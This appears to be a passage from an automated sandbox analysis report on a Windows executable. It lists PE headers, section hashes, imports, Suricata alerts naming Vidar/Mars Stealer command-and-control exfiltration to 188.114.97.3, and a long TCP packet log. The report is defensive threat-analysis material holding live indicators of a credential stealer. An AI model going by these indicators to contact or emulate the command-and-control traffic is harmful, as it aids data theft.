add byte ptr [eax], al
add byte ptr [eax], al

Rich Headers

Programming Language:

[ASM] VS2010 build 30319
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x26508	0x28	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x39000	0x23e4	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x1e000	0x10	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x1d000	0x1c800	dccc92d133f46c962b35b1d869cb4492	False	0.7115628426535088	data	7.245682295128179	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rdata	0x1e000	0x9000	0x8600	2d822a7fd98f75a3d03e2edecdb5015f	False	0.675897854477612	data	6.0428202984727335	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x27000	0x12000	0x200	6f2c9d0a73f06bd2aef306e9fb76eb33	False	0.091796875	data	0.6582824138522845	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.reloc	0x39000	0x251e	0x2600	3b29ab439e83295bd62b8c237cdadb41	False	0.7749794407894737	data	6.693331597993307	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ
	0x3c000	0x360	0x400	885fd6a085c5d669da5a6e70e90a19b8	False	0.283203125	data	3.802460942016942	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL	Import
msvcrt.dll	_mbsstr, memset, _mbsnbcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-03-17T13:22:11.596119+0100	2022818	ET MALWARE Generic gate .php GET with minimal headers	1	192.168.2.6	49693	188.114.97.3	80	TCP
2025-03-17T13:22:11.871353+0100	2035884	ET MALWARE Base64 Encoded Stealer Config from Server - APPDATA or USERPROFILE Environment Variable M4	1	188.114.97.3	80	192.168.2.6	49693	TCP
2025-03-17T13:22:12.097898+0100	2036654	ET MALWARE Win32/Vidar Variant/Mars Stealer Resources Download	1	188.114.97.3	80	192.168.2.6	49693	TCP
2025-03-17T13:22:16.482931+0100	2017930	ET MALWARE Trojan Generic - POST To gate.php with no referer	1	192.168.2.6	49693	188.114.97.3	80	TCP
2025-03-17T13:22:16.482931+0100	2022985	ET MALWARE Trojan Generic - POST To gate.php with no accept headers	1	192.168.2.6	49693	188.114.97.3	80	TCP
2025-03-17T13:22:16.492531+0100	2033163	ET MALWARE Win32/Vidar Variant/Mars Stealer CnC Exfil	1	192.168.2.6	49693	188.114.97.3	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 17, 2025 13:22:11.037357092 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:11.044209957 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:11.044296980 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:11.045130968 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:11.051013947 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:11.596019030 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:11.596118927 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:11.866558075 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:11.871352911 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.004003048 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.004023075 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.004035950 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.004049063 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.004069090 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.004106998 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.010570049 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.010591984 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.010605097 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.010617018 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.010627031 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.010644913 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.010684013 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.016917944 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.016932964 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.016977072 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.016997099 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.017216921 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.017231941 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.017242908 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.017261028 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.017280102 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.092838049 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.092861891 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.092875004 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.092889071 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.092920065 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.092988014 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.093177080 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.093189955 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.093204975 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.093219995 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.093223095 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.093259096 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.093259096 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.093302965 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.094135046 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.094149113 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.094161034 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.094172955 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.094181061 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.094197989 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.094228029 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.095143080 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.095155001 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.095166922 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.095200062 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.095241070 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.095331907 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.095372915 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.095967054 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.096008062 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.096034050 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.096046925 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.096061945 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.096079111 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.096112013 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.097058058 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.097074986 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.097086906 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.097100019 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.097110033 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.097131014 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.097161055 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.097898006 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.097923994 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.097949028 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.097963095 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.183372021 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.183427095 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.183438063 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.183449984 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.183454037 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.183461905 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.183475018 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.183480978 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.183527946 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.183552027 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.183593035 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.183798075 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.183810949 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.183834076 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.183856964 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.183912992 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.183929920 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.183943033 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.183948040 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.183955908 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.183964968 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.183990955 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.184045076 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.184056044 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.184079885 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.184109926 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.184329987 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.184353113 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.184376955 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.184392929 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.184398890 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.184420109 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.184439898 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.184451103 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.184462070 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.184473991 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.184725046 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.185008049 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.185023069 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.185034990 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.185055017 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.185056925 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.185086012 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.185107946 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.185115099 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.185120106 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.185131073 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.185144901 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.185149908 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.185164928 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.185170889 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.185177088 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.185183048 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.185194016 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.185205936 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.185205936 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.185252905 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.186055899 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.186067104 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.186078072 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.186088085 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.186100006 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.186103106 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.186111927 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.186122894 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.186144114 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.186167002 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.186177969 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.186189890 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.186198950 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.186235905 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.188198090 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.188211918 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.188261986 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.188479900 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.188493013 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.188508987 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.188519955 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.188528061 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.188566923 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.274471045 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.274580002 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.274736881 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.274755001 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.274790049 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.274804115 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.274847984 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.274884939 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.275038958 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.275063992 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.275082111 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.275087118 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.275099039 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.275101900 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.275111914 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.275116920 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.275125980 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.275132895 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.275139093 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.275150061 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.275150061 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.275165081 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.275171995 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.275180101 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.275202036 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.275219917 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.275285006 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.275300980 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.275315046 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.275325060 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.275326967 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.275340080 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.275341034 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.275352955 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.275361061 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.275366068 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.275377989 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.275388002 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.275392056 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.275403023 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.275432110 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.275438070 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.275444031 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.275458097 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.275468111 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.275470018 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.275492907 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.275496006 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.275502920 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.275516033 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.275526047 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.275527000 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.275540113 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.275542974 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.275553942 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.275564909 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.275576115 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.275587082 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.275599003 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.275602102 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.275607109 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.275629044 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.275649071 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.275650978 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.275672913 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.275685072 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.275687933 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.275702953 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.275711060 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.275716066 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.275732994 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.275732994 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.275754929 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.275775909 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.275821924 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.275835037 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.275847912 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.275854111 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.275861025 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.275873899 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.275886059 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.275887966 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.275898933 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.275899887 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.275913000 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.275917053 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.275927067 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.275943995 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.275960922 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.275996923 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.275996923 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.276106119 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.276119947 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.276134014 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.276144028 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.276146889 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.276160955 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.276160955 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.276175022 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.276180983 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.276187897 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.276200056 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.276211023 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.276211977 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.276221037 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.276238918 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.276242018 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.276256084 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.276257992 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.276269913 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.276277065 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.276283979 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.276284933 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.276295900 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.276314974 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.276318073 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.276333094 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.276341915 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.276345015 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.276365042 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.276381016 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.276395082 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.276437044 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.276443958 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.276451111 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.276464939 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.276467085 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.276477098 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.276490927 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.276492119 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.276503086 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.276514053 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.276540041 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.279468060 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.279489040 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.279547930 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.279865026 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.279881001 CET	80	49693	188.114.97.3	192.168.2.6
